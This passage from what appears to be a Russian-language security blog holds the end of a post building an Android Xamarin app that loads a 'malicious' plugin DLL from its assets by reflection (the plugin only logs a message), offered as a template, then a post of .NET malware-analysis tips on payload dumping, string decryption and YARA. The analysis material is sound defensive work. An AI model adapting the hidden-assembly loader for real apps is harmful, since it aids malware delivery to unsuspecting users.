<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> wget apt-transport-https
wget <span class="nt">-qO-</span> https://packages.microsoft.com/keys/microsoft.asc | <span class="nb">sudo tee</span> /etc/apt/trusted.gpg.d/microsoft.asc
<span class="nb">sudo </span>add-apt-repository https://packages.microsoft.com/ubuntu/<span class="si">$(</span>lsb_release <span class="nt">-rs</span><span class="si">)</span>/prod
<span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install </span>msopenjdk-17
</code></pre></div></div>

<p>Проверяем, что установилось правильно</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/lib/jvm/msopenjdk-17-amd64/bin/java <span class="nt">-version</span>
</code></pre></div></div>

<p>Теперь выберите <code class="language-plaintext highlighter-rouge">Microsoft OpenJDK</code> в качестве <code class="language-plaintext highlighter-rouge">Java</code> по умолчанию:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>update-alternatives <span class="nt">--config</span> java
</code></pre></div></div>

<p>Теперь создаем приложение MAUI по <a href="https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-8.0&amp;tabs=visual-studio-code#using-the-installandroiddependencies-target">инструкции</a>. Выполняем команду:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet new maui
</code></pre></div></div>

<p>также создайте переменную:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">ANDROID_SDK_ROOT</span><span class="o">=</span>/home/test/.android-sdk
</code></pre></div></div>

<p>Открываем файл <code class="language-plaintext highlighter-rouge">app.csproj</code> и из <code class="language-plaintext highlighter-rouge">TargetFramework</code> удаляем <code class="language-plaintext highlighter-rouge">ios</code> и <code class="language-plaintext highlighter-rouge">macos</code>. Эти параметры будут вызывать ошибку при сборке в Linux. На этом шаге у нас есть болванка готового проекта. Если мы хотим собрать его в APK, будем выполнять три последовательных действия. Первое, очищаем следы предыдущего билда:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet clean
</code></pre></div></div>

<p>Затем выполняем сборку проекта командой, с указанием путей к Android SDK и JDK:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet build <span class="nt">-t</span>:InstallAndroidDependencies <span class="nt">-f</span>:net8.0-android <span class="nt">-p</span>:AndroidSdkDirectory<span class="o">=</span><span class="s2">"/home/test/.android-sdk"</span> <span class="nt">-p</span>:JavaSdkDirectory<span class="o">=</span><span class="s2">"/usr/lib/jvm/msopenjdk-17-amd64"</span> <span class="nt">-p</span>:AcceptAndroidSDKLicenses<span class="o">=</span>True
</code></pre></div></div>

<p>Если не находится workload и есть ошибки, то выполняем:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>dotnet workload restore <span class="o">[</span>app.csproj::TargetFramework<span class="o">=</span>net8.0-android] <span class="nt">--project</span> app.csproj
</code></pre></div></div>

<p>В конце публикуем:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet publish <span class="nt">-p</span>:AndroidSdkDirectory<span class="o">=</span><span class="s2">"/home/test/.android-sdk"</span> <span class="nt">-f</span> net8.0-android <span class="nt">-c</span> Release
</code></pre></div></div>

<p>И загружаем на девайс:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb <span class="nb">install </span>xamarin/app/bin/Release/net8.0-android/publish/com.companyname.app-Signed.apk
</code></pre></div></div>

<p>Теперь мы готовы к разработке!</p>

<h2 id="создаем-poc">Создаем PoC</h2>

<p>Первым делом создадим вредоносный Assembly. По аналогии создаем новый проект со следующей структурой:</p>

<p><img src="/assets/images/ru/xamarin/9.png" alt="Alt text" /></p>

<p>У нас будет интерфейс <code class="language-plaintext highlighter-rouge">IPlugin.cs</code>:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">class</span> <span class="nc">Class1</span><span class="p">:</span> <span class="n">IPlugin</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="kt">string</span> <span class="n">Name</span> <span class="p">=&gt;</span> <span class="s">"Sample Plugin"</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">void</span> <span class="nf">Execute</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="n">Log</span><span class="p">.</span><span class="nf">Info</span><span class="p">(</span><span class="s">"MyAppTag"</span><span class="p">,</span> <span class="s">"Sample Plugin Executed!"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>И основной класс с вредоносным функционалом <code class="language-plaintext highlighter-rouge">Class1.cs</code>:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">class</span> <span class="nc">Class1</span><span class="p">:</span> <span class="n">IPlugin</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="kt">string</span> <span class="n">Name</span> <span class="p">=&gt;</span> <span class="s">"Sample Plugin"</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">void</span> <span class="nf">Execute</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="n">Log</span><span class="p">.</span><span class="nf">Info</span><span class="p">(</span><span class="s">"MyAppTag"</span><span class="p">,</span> <span class="s">"Sample Plugin Executed!"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Собираем проект. У нас должен появиться DLL в папке Release с именем <code class="language-plaintext highlighter-rouge">SamplePlugin.dll</code>. Копируем ее в основной проект.  В основном проекте прописываем путь к <code class="language-plaintext highlighter-rouge">SamplePlugin.dll</code> в <code class="language-plaintext highlighter-rouge">app.csproj</code>. Она должна будет лежать в папке <code class="language-plaintext highlighter-rouge">assets</code>, в конечной апк:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;AndroidAsset</span> <span class="na">Include=</span><span class="s">"xamarin/app/SamplePlugin.dll"</span> <span class="nt">/&gt;</span>
</code></pre></div></div>

<p>У нас есть главный класс <code class="language-plaintext highlighter-rouge">MainPage.xaml.cs</code>, который содержит основную логику. Для начала нам надо скопировать <code class="language-plaintext highlighter-rouge">SamplePlugin.dll</code> из папки <code class="language-plaintext highlighter-rouge">assets</code> в другое место:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">static</span> <span class="kt">string</span> <span class="nf">ExtractLibrary</span><span class="p">(</span><span class="n">Android</span><span class="p">.</span><span class="n">Content</span><span class="p">.</span><span class="n">Context</span> <span class="n">context</span><span class="p">,</span> <span class="kt">string</span> <span class="n">libraryName</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">// Путь, куда будет извлечена библиотека</span>
	<span class="kt">string</span> <span class="n">destinationPath</span> <span class="p">=</span> <span class="n">Path</span><span class="p">.</span><span class="nf">Combine</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">FilesDir</span><span class="p">.</span><span class="n">AbsolutePath</span><span class="p">,</span> <span class="n">libraryName</span><span class="p">);</span>

	<span class="n">AssetManager</span> <span class="n">assets</span> <span class="p">=</span> <span class="n">context</span><span class="p">.</span><span class="n">Assets</span><span class="p">;</span>
	<span class="k">using</span> <span class="p">(</span><span class="n">Stream</span> <span class="n">inputStream</span> <span class="p">=</span> <span class="n">assets</span><span class="p">.</span><span class="nf">Open</span><span class="p">(</span><span class="n">libraryName</span><span class="p">))</span>
	<span class="k">using</span> <span class="p">(</span><span class="n">FileStream</span> <span class="n">outputStream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">FileStream</span><span class="p">(</span><span class="n">destinationPath</span><span class="p">,</span> <span class="n">FileMode</span><span class="p">.</span><span class="n">Create</span><span class="p">))</span>
	<span class="p">{</span>
		<span class="n">inputStream</span><span class="p">.</span><span class="nf">CopyTo</span><span class="p">(</span><span class="n">outputStream</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="n">destinationPath</span><span class="p">;</span> <span class="c1">// Возвращаем полный путь к библиотеке</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Контекст мы можем получить так:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">var</span> <span class="n">context</span> <span class="p">=</span> <span class="n">Android</span><span class="p">.</span><span class="n">App</span><span class="p">.</span><span class="n">Application</span><span class="p">.</span><span class="n">Context</span><span class="p">;</span>
</code></pre></div></div>

<p>После копирования библиотеки, загружаем ее в память:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">var</span> <span class="n">assembly</span> <span class="p">=</span> <span class="n">Assembly</span><span class="p">.</span><span class="nf">LoadFrom</span><span class="p">(</span><span class="n">libPath</span><span class="p">);</span>
</code></pre></div></div>

<p>И вызываем вредоносный метод:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">var</span> <span class="n">method</span> <span class="p">=</span> <span class="n">type</span><span class="p">.</span><span class="nf">GetMethod</span><span class="p">(</span><span class="s">"Execute"</span><span class="p">);</span>
<span class="n">method</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="n">instance</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span>
</code></pre></div></div>

<p>Вот и все! Проект загружен на <a href="https://github.com/thatskriptkid/xamarin-malware">гитхаб</a>, вы можете использовать его как шаблон для своих идей.</p>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="malware" /><category term="android" /><summary type="html"><![CDATA[Введение]]></summary></entry><entry><title type="html">Советы для исследования .NET малвари</title><link href="https://orderofsixangles.com/ru/2024/07/01/dotnet-lifehacks-ru.html" rel="alternate" type="text/html" title="Советы для исследования .NET малвари" /><published>2024-07-01T00:00:00+00:00</published><updated>2024-07-01T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2024/07/01/dotnet-lifehacks-ru</id><content type="html" xml:base="https://orderofsixangles.com/ru/2024/07/01/dotnet-lifehacks-ru.html"><![CDATA[<p>У нас есть малварь, которая декодирует ресурс DE.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/01.png" alt="Alt text" /></p>

<p>С помощью скрипта <a href="https://github.com/thatskriptkid/malware-analysis-tools/tree/master/dotnet/stego">stego</a> можно расшифровать картинку.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/02.png" alt="Alt text" /></p>

<p>Результат декодирования:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/03.png" alt="Alt text" /></p>

<p>Также этот скрипт способен производить обратную операцию - превращать файл в стеганографическое изображение. Может использоваться в сценарии, когда вы пропатчили вредоносный файл, и хотите обратно закодировать его в картинку, чтобы малварь в процессе своей работы расшифровала ваш пропатченный бинарник. Не забудьте указать ширину и высоту картинки, как в оригинале.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/04.png" alt="Alt text" /></p>

<h2 id="дамп-пейлодов">Дамп пейлодов</h2>

<ol>
  <li>Часто .net малварь выполняет несколько стадий распаковки, задействуя несколько пейлодов. Чтобы просмотреть вредоносные пейлоды в памяти можно воспользоваться инстурментом ProcessHacker:</li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/net_assemblies.png" alt="" /></p>

<ol>
  <li>
    <p>Дампнуть отдельные .NET Assembly из памяти можно тулзой <a href="https://github.com/wwh1004/ExtremeDumper">ExtremeDumper</a>. hollows_hunter может не видеть все пейлоды в памяти.</p>
  </li>
  <li>
    <p>Также можно сделать дамп, поставив брейкпоинт на загрузку модулей в dnSpy. Способ показан в <a href="https://youtu.be/tenNFzM-MM0?si=15ko7638EPtNYa5i&amp;t=817">видео</a>. Нам надо отобразить окно Модули.</p>
  </li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/dump_1.png" alt="" /></p>

<p>Затем поставить “*” в имена отслеживаемых модулей.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/dump_2.png" alt="" /></p>

<p>Запускаем малварь и мы увидим все загружаемые модули.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/dump_3.png" alt="" /></p>

<h2 id="вызов-отдельных-методов">Вызов отдельных методов</h2>

<h3 id="способ-первый">Способ первый</h3>

<p>Малварь может содержать функции по расшифровки/декодированию строк или другие интересные функции, которые хочется вызвать отдельно (только их). Например, малварь содержит функцию по декодированию строки <code class="language-plaintext highlighter-rouge">CausalitySource</code></p>

<p><img src="/assets/images/ru/dotnet_lifehacks/mal_func.png" alt="" /></p>

<p>Аргументы, которая она принимает:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/args.png" alt="" /></p>

<p>Существует два удобных способа вызвать эту функцию с нужными аргументами. Первый - с помощью LinqPad</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/linqpad_descr.png" alt="" /></p>

<p><a href="https://www.linqpad.net/Download.aspx">Linqpad</a> - это легковесный исполнитель dotnet кода, которым удобно пользоваться в виртуалке. Можно скачивать 5 версию, так как .NET framework по умолчанию стоит в Windows 7. Теперь мы можем просто скопировать из образца код, вставить его в редактор и исполнить.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/Linqpad.png" alt="" /></p>

<p>Необязательно писать полноценную программу с Main() и т.д., можно использовать просто куски кода, для этого в выпадающем меню выбираем <code class="language-plaintext highlighter-rouge">Expression</code> или <code class="language-plaintext highlighter-rouge">Statement</code>.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/linq_menu.png" alt="" /></p>

<p>Например, исполнение отдельных строк кода:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/linq_statement.png" alt="" /></p>

<h3 id="способ-второй">Способ второй</h3>

<p>Часто образец малвари в своих методах использует собственные константы, другие методы и т.д. и переносить кучу кода/переменные в Linqpad нерелевантно. Поэтому можно воспользоваться втором способом - powershell. Ничего устанавливать не нужно, powershell по умолчанию есть в Windows 7.  Запускаем нужный экземпляр powershell, чтобы его разрядность совпадала с разрядностью образца.  Первым делом нам необходимо подгрузить наш вредоносный Assembly командой:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$malware = [Reflection.Assembly]::LoadFile("path")
</code></pre></div></div>

<p>Также это можно сделать с помощью cmdlet (более современный способ). В этом случае файл должен иметь расширение <code class="language-plaintext highlighter-rouge">.dll</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Add-Type -Path foo.dll
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_3.png" alt="" /></p>

<p>Убедиться что операция завершена успешна поможет команда просмотра списка всех загруженных Assembly:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[appdomain]::currentdomain.GetAssemblies()
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_1.png" alt="" /></p>

<p>Чтобы вызвать конкретный, <strong>статический</strong> метод мы используем следующую конструкцию:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[имя_namespace.имя_класса]::имя_функции("аргументы")
</code></pre></div></div>

<p>Например:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_2.png" alt="" /></p>

<p>Если метод НЕ статический, то в начале инстанцируем класс:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$instance = New-Object имя_namespace.имя_класса
$result = $instance.имя_функции()
echo $result
</code></pre></div></div>

<p>Пример вызова нестатического метода:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_4.png" alt="" /></p>

<h4 id="полезные-powershell-команды">Полезные powershell команды</h4>

<p>*ассембли (Assembly) - любой .NET EXE или DLL</p>

<p>Стандартный размер шрифта powershell очень мал. Увеличить его можно кликнув правой кнопкой на иконку - Свойства.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_font.png" alt="" /></p>

<p>Очистка окна консоли:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Clear-Host
</code></pre></div></div>

<p>Если для каких-либо операций нам необходимо подгрузить зависимость:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
</code></pre></div></div>

<p>Например, подгрузив зависимость <code class="language-plaintext highlighter-rouge">Drawing</code> мы можем использовать класс <code class="language-plaintext highlighter-rouge">Bitmap</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$bmp = New-Object System.Drawing.Bitmap("D:\\path")
</code></pre></div></div>

<p>Вывод всех типов внутри бинарника:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$malware.gettypes()
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_types.png" alt="" /></p>

<p>Поиск по выводу какой-либо команды:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>| Select-String -Pattern "строка_для_поиска"
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_search.png" alt="" /></p>

<p>Вывод только публичных классов:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$assembly.GetTypes() | ? {$_.IsClass -and $_.IsPublic}
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_is.png" alt="" /></p>

<p>Вывод всех текущих загруженных Assembly в отсортированном виде (также эта команда может пригодится или нет при форензике):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[appdomain]::currentdomain.getassemblies() | sort -property fullname | format-table fullname
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_5.png" alt="" /></p>

<p>Дамп захардкоженных переменных ассембли. Допустим у нас есть малварь, которая содержит некий статический байтовый блоб.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/byte_blob.png" alt="" /></p>

<p>Если вы хотите дампнуть его, это можно сделать двумя способами. Динамически - запустить ассембли в дебаггере и дампнуть значение в рантайме. Статически - дампнуть, используя powershell. Чтобы дампнуть используя powershell мы подгружаем ассембли и сохраняем в файл желаемую переменную.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$malware = [Reflection.Assembly]::LoadFrom("path") # подгружаем наш вредоносный ассембли
[io.file]::WriteAllBytes('path_to_save_var', [namespace.class]::var_name) # сохраняем в файл
</code></pre></div></div>

<p>Пример:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/save_var.png" alt="" /></p>

<p>Если требуемая переменная НЕстатическая, то просто создайте инстанс соответствующего класса.</p>

<p>Если вам лень постоянно вводить команды для дампа, то можно написать скрипт. Чтобы скрипт работал, не забудьте включить исполнение скриптов на системе:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set-executionpolicy remotesigned
</code></pre></div></div>

<h3 id="лайфхаки">Лайфхаки</h3>

<ol>
  <li>AgentTesla содержит пейлоды в виде ресурсов. Один из пейлодов является стеганографической картинкой. Если мы хотим пропатчить пейлод, который распаковывается на какой-либо стадии, нам необходимо:
    <ol>
      <li>Преобразовать ресурс из картинки в файл</li>
      <li>Пропатчить</li>
      <li>Преобразовать файл обратно в картинку</li>
      <li>Заменить ресурс картинку
В этом может помочь скрипт <a href="https://github.com/thatskriptkid/malware-analysis-tools/tree/master/dotnet/stego">stego</a>.</li>
    </ol>
  </li>
  <li>Например, мы хотим написать YARA правило на кусок .NET кода.</li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/yara.png" alt="" /></p>

<p>*<a href="https://www.binarydefense.com/resources/blog/creating-yara-rules-based-on-code/">вспомогательная ссылка</a></p>

<p>*<a href="https://en.wikipedia.org/wiki/List_of_CIL_instructions">список опкодов</a></p>

<ol>
  <li>LinqPad поддерживает работу с файлами</li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/linqpad_files.png" alt="" /></p>

<ol>
  <li>Иногда, .NET малварь может содержать GUID. Это поле идентифицрует конкретный проект на компе разработчика. Соответственно, если у нескольких отдельных образцов один и тот же GUID, то с уверенностью можно говорить, что они были разработаны на одном компе и скорей всего одним и тем же разработчиком.</li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/guid.png" alt="" /></p>

<ol>
  <li>Если нам попался .NET Bundle, то дампнуть файлы бандла можно с помощью AsmResolver и powershell:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Reflection.Assembly]::LoadFrom("C:\AsmResolver\AsmResolver.DotNet.dll") | Out-Null
$extractionPath = "C:\Extracted\"
$manifest = [AsmResolver.DotNet.Bundles.BundleManifest]::FromFile("C:\RiotClientServices.exe")

foreach($file in $manifest.Files)
{
    $fileInfo = [IO.FileInfo]::new($extractionPath + $file.RelativePath)
    $fileInfo.Directory.Create()
    [IO.File]::WriteAllBytes($fileInfo.FullName, $file.getData($true))
}
</code></pre></div></div>
<p><a href="https://research.checkpoint.com/2023/byos-bundle-your-own-stealer/">Более подробная информация</a></p>

<ol>
  <li>Библиотека <a href="https://github.com/Washi1337/AsmResolver">AsmResolver</a>, с помощью которой можно модифицировать .net бинарники. Например, удалять ненужные методы:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Reflection.Assembly]::LoadFrom("C:\AsmResolver\AsmResolver.DotNet.dll") | Out-Null
$obfuscated = "C:\RiotClientServices.dll"
$moduleDef = [AsmResolver.DotNet.ModuleDefinition]::FromFile($obfuscated)
# Removing junk methods
foreach($type in $moduleDef.GetAllTypes())
{
    foreach($method in [array]$type.Methods.Where{$_.HasMethodBody})
    {
        if(($method.MethodBody.Instructions.Where{$_.Opcode.Mnemonic -like "call" -and
            $_.Operand.FullName -like "*System.Console::WriteLine*"}).count -eq  5)
        {
            $type.Methods.Remove($method) | Out-Null
        }
    }
}
</code></pre></div></div>

<ol>
  <li>
    <p>Если надо отдебажить библиотеку .NET, то можно воспользоваться <a href="https://github.com/hexfati/SharpDllLoader">SharpDllLoader</a></p>
  </li>
  <li>
    <p>Образцы можно группировать по TypeRef hash. Вычислить его поможет <a href="https://github.com/thatskriptkid/malware-analysis-tools/tree/master/dotnet/type_ref_hasher">скрипт в гитлаб</a>. TypeRef hash лучше использовать отсортированный и включая сущности, которые ссылаются сами на себя (sorted, include self-referenced entries).</p>
  </li>
  <li>
    <p>Если функция расшифровки строк малвари вызывается много раз, можно написать следующий скрипт (пример):</p>
  </li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$malware = [Reflection.Assembly]::LoadFile("C:\my\f.dll")
[jKcEiEe]::TFkR(980214767)| Out-File -FilePath c:\my\output.txt
[jKcEiEe]::TFkR(980214689) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214350) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214730) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214391) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214713) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214747) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214670) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214364) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214543) | Add-Content C:\my\output.txt 
</code></pre></div></div>

<ol>
  <li>Иногда малварь для сокрытия пейлода использует <a href="https://github.com/Fody/Home/">Fody</a>/<a href="https://github.com/Fody/Costura">Costura</a>. Costura предназначена для добавления зависимостей/ресурсов в единный бинарник. Полезные ссылки по таким кейсам:</li>
</ol>

<p><a href="https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware">example-analysis-of-multi-component-malware</a></p>

<p><a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy">play-ransomware-volume-shadow-copy</a></p>

<ol>
  <li>Получение данных о X509 сертификате кодом в LINQPAD. Также можно проверить валидность файла:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
void Main()
{
	string fileName = "c:\\my\\OUTLOOK.CFG";
	string text2 = "test-908@testgmail-398504.iam.gserviceaccount.com";
	X509Certificate2 x509 = new X509Certificate2(fileName, "notasecret", X509KeyStorageFlags.Exportable);
	
	Console.WriteLine("{0}Subject: {1}{0}", Environment.NewLine, x509.Subject);
    Console.WriteLine("{0}Issuer: {1}{0}", Environment.NewLine, x509.Issuer);
    Console.WriteLine("{0}Version: {1}{0}", Environment.NewLine, x509.Version);
    Console.WriteLine("{0}Valid Date: {1}{0}", Environment.NewLine, x509.NotBefore);
    Console.WriteLine("{0}Expiry Date: {1}{0}", Environment.NewLine, x509.NotAfter);
    Console.WriteLine("{0}Thumbprint: {1}{0}", Environment.NewLine, x509.Thumbprint);
    Console.WriteLine("{0}Serial Number: {1}{0}", Environment.NewLine, x509.SerialNumber);
    Console.WriteLine("{0}Friendly Name: {1}{0}", Environment.NewLine, x509.PublicKey.Oid.FriendlyName);
    Console.WriteLine("{0}Public Key Format: {1}{0}", Environment.NewLine, x509.PublicKey.EncodedKeyValue.Format(true));
    Console.WriteLine("{0}Raw Data Length: {1}{0}", Environment.NewLine, x509.RawData.Length);
    Console.WriteLine("{0}Certificate to string: {1}{0}", Environment.NewLine, x509.ToString(true));
    Console.WriteLine("{0}Certificate to XML String: {1}{0}", Environment.NewLine, x509.PublicKey.Key.ToXmlString(false));
}

// Define other methods and classes here

</code></pre></div></div>

<h2 id="быстрая-разработка-на-net">Быстрая разработка на .NET</h2>

<p>Иногда необходимо по-быстрому полностью реализовать какой-нибудь алгоритм/написать код. Например, повторить кусок кода из малвари, который работает с файлами, открывает их, сохраняет и т.д..</p>

<ol>
  <li>Скачиваем <a href="https://code.visualstudio.com/">VSCode</a></li>
  <li>Устанавливаем два расширения: <a href="https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csdevkit">C# Dev Kit</a> и <a href="https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csharp">C#</a></li>
  <li>Скачиваем <a href="https://dotnet.microsoft.com/en-us/download">dotnet sdk</a></li>
  <li>Чтобы убедиться, что dotnet установлен и работает корректно в командной строке выполняем команду <code class="language-plaintext highlighter-rouge">dotnet</code></li>
  <li>Открываем <code class="language-plaintext highlighter-rouge">VSCode</code> через <code class="language-plaintext highlighter-rouge">Developer Command Prompt</code> командой <code class="language-plaintext highlighter-rouge">code</code></li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/cmd_prompt.png" alt="" /></p>

<ol>
  <li>Создаем новый проект типа Console командой:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet new console
</code></pre></div></div>

<ol>
  <li>Если не хватает какой-либо зависимости:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet add package System.Drawing.Common --version 7.0.0
</code></pre></div></div>

<ol>
  <li>Собрать проект</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet clear
dotnet build
</code></pre></div></div>

<ol>
  <li>Чтобы получить бинарник пригодный для запуска на другом компе (не забудьте указать нужную архитектуру):</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet publish -r win7-x64 
</code></pre></div></div>

<p>Ссылки по этой теме:</p>

<p>https://learn.microsoft.com/en-us/dotnet/core/rid-catalog</p>

<p>https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-build</p>

<p>https://learn.microsoft.com/en-us/dotnet/core/deploying/</p>

<p>Publishing your app as self-contained produces an application that includes the .NET runtime and libraries, and your application and its dependencies. Users of the application can run it on a machine that doesn’t have the .NET runtime installed.</p>

<ol>
  <li>Чтобы бинарник работал на другой компе или в виртуалке, надо скопировать ВСЮ папку <code class="language-plaintext highlighter-rouge">bin\x64\Debug\net7.0\win7-x64\publish</code></li>
</ol>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="note" /><category term="malware-analysis" /><category term="windows" /><summary type="html"><![CDATA[У нас есть малварь, которая декодирует ресурс DE. С помощью скрипта stego можно расшифровать картинку. Результат декодирования: Также этот скрипт способен производить обратную операцию - превращать файл в стеганографическое изображение. Может использоваться в сценарии, когда вы пропатчили вредоносный файл, и хотите обратно закодировать его в картинку, чтобы малварь в процессе своей работы расшифровала ваш пропатченный бинарник. Не забудьте указать ширину и высоту картинки, как в оригинале. Дамп пейлодов Часто .net малварь выполняет несколько стадий распаковки, задействуя несколько пейлодов. Чтобы просмотреть вредоносные пейлоды в памяти можно воспользоваться инстурментом ProcessHacker: Дампнуть отдельные .NET Assembly из памяти можно тулзой ExtremeDumper. hollows_hunter может не видеть все пейлоды в памяти. Также можно сделать дамп, поставив брейкпоинт на загрузку модулей в dnSpy. Способ показан в видео. Нам надо отобразить окно Модули. Затем поставить “*” в имена отслеживаемых модулей. Запускаем малварь и мы увидим все загружаемые модули. Вызов отдельных методов Способ первый Малварь может содержать функции по расшифровки/декодированию строк или другие интересные функции, которые хочется вызвать отдельно (только их). Например, малварь содержит функцию по декодированию строки CausalitySource Аргументы, которая она принимает: Существует два удобных способа вызвать эту функцию с нужными аргументами. Первый - с помощью LinqPad Linqpad - это легковесный исполнитель dotnet кода, которым удобно пользоваться в виртуалке. Можно скачивать 5 версию, так как .NET framework по умолчанию стоит в Windows 7. Теперь мы можем просто скопировать из образца код, вставить его в редактор и исполнить. Необязательно 